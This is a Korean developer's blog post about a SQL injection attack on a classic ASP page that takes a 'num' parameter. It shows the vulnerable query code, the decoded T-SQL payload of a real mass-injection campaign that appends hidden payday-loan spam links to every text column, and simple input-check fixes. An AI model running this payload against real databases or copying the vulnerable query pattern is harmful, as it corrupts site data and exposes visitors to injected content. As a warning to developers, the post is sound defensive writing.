보통 웹 페이지 하나를 만드는데 값이 필요해서 그 값을 GET 값이나 POST 값으로 받을때가 있습니다.
대부분 이건 조작이 가능한거 아시죠?
예를 들어
http://www.사이트.com/detailview.asp?num=1004
처럼 해서 특정 게시물을 본다던가 해당 상품을 조회하게 한다던가 합니다.
그런데 이 간단한 문장을 가지고도 해당 DB 서버에 엄청난 일을 벌일 수 있습니다.
이런거 처리하실 때 주의하셔야 할 것 같습니다.
저 페이지 상단에 다음과 같은 처리를 하겠죠.
dim itemnum
itemnum = request("num")
if itemnum = "" then
'값이 없을경우 페이지를 돌아가게 이 부분에 처리함.
response.end
end if
sql = "Select * From ItemTable Where itemnum = '" + cstr(replace(itemnum,"'","''")) + "' "
rs.open sql, con, 3
if not (rs.eof or rs.bof) then
....
위와 같이 해서 넘어온 값을 받아 그 값으로 쿼리를 작성해서 조회하는 페이지를 만들죠.
거의 대부분이 이런식으로 만들어 지죠.
DB를 이용한다면요.
그런데 저 num 이라는 파라메터 값을 이용해 DB에 엄청난 일을 저지를 수 있습니다.
최근에 시도 되고 있는 외국 대부업자 광고 스크립트 넣는 주소 입니다.
이런식으로 파라메터를 넘겨주면 위와 같이 코딩했을때 DB는 박살이 납니다.
처음에는 도데체 이게 뭘까 그랬는데 중간 중간 SQL 문장이 보입니다.
이 문장을 MSSQL 에 담고 맨 끝에 exec 를 print 로 바꿔 실행해 봤더니 다음과 같은 결과가 나왔습니다.
set ansi_warnings off
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>180 and t.table_name=c.table_name and t.table_type='BASE TABLE'
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=CONVERT(VARCHAR(8000),['+@C+'])+''</title><script>document.write("<style>.aimo{position:absolute;clip:rect(404px,auto,auto,404px);}</style>");</script><div class=aimo><ul><li><a href=http://badcreditpaydayloansrhpsd.com >bad credit payday loans</a></li><li><a href=http://cashadvanceonlinetkxnz.com >cash advance online</a></li><li><a href=http://cashadvancedmzsqq.com >cash advanced</a></li><li><a href=http://cashadvancepaydayloanvgeks.com >cash advance payday loan</a></li><li><a href=http://easyloansizho.com >easy loans</a></li></ul></div>'' ')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
무슨 문장인지 아시겠나요? 필드가 'nvarchar','varchar','ntext','text' 인 형태를 찾아서
특정 스크립트를 삽입하는 쿼리입니다.
num 이라는 파라메터에 당연히 숫자만 들어올것이라는 판단과
좀 더 주의한다는 마음에 싱글따옴표 처리까지 해 놨는데
깡그리 무시하고 실행이 가능한 문장으로 저렇게 파고 들어옵니다.
따라서 앞으로 파라메터 처리하는데는 좀더 주의를 하셔야 겠습니다.
itemnum = request("num")
if itemnum = "" then
'값이 없을경우 페이지를 돌아가게 이 부분에 처리함.
response.end
end if
이 부분에
if not isnumeric(num) then
response.end
end if
이 부분을 더 넣어서 값이 숫자가 아니라면 그 이하를 실행 못하게 하거나
값중에 declare 가 있으면 못들어가게 한다거나 좀 더 세심한 처리를 하셔야 할것 같습니다.
이상 쥔장이였습니다.